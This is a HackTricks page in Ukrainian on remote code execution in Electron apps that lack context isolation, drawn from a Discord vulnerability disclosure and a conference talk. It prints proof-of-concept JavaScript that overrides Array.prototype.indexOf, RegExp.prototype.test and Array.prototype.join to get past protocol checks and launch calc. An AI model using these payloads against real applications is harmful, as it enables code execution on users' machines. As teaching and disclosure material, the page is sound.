Electron contextIsolation RCE via preload code

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Приклад 1

Приклад з https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Цей код відкриває http(s) посилання у браузері за замовчуванням:

Щось на зразок file:///C:/Windows/systemd32/calc.exe може бути використано для запуску калькулятора, але SAFE_PROTOCOLS.indexOf цьому заважає.

Отже, зловмисник може впровадити цей JS-код через XSS або довільну навігацію сторінками:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Оскільки виклик SAFE_PROTOCOLS.indexOf завжди повертає 1337, зловмисник може обійти захист та виконати калькулятор. Кінцевий експлойт:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Перевірте оригінальні слайди для інших способів виконання програм без запиту на дозвіл.

Здається, інший спосіб завантаження та виконання коду - це доступ до чогось на зразок file://127.0.0.1/electron/rce.jar

Приклад 2: RCE додатку Discord

Приклад з https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Під час перевірки скриптів попереднього завантаження я виявив, що Discord викриває функцію, яка дозволяє викликати деякі дозволені модулі через DiscordNative.nativeModules.requireModule('MODULE-NAME'), на веб-сторінці. Тут я не міг використовувати модулі, які можуть бути використані для RCE безпосередньо, такі як модуль child_process, але я знайшов код, де RCE можливо досягти, перевизначаючи вбудовані методи JavaScript та втручаючись у виконання викритого модуля.

Наведений нижче PoC. Я підтвердив, що додаток calc з'являється при виклику функції getGPUDriverVersions, яка визначена в модулі з назвою "discord_utils" з devTools, тоді як перевизначаючи RegExp.prototype.test та Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Функція getGPUDriverVersions намагається виконати програму, використовуючи бібліотеку "execa", наступним чином:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Зазвичай execa намагається виконати "nvidia-smi.exe", який вказаний у змінній nvidiaSmiPath, однак через перевизначення RegExp.prototype.test та Array.prototype.join, аргумент замінюється на "calc" у внутрішній обробці _execa_**.

Зокрема, аргумент замінюється шляхом зміни наступних двох частин.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated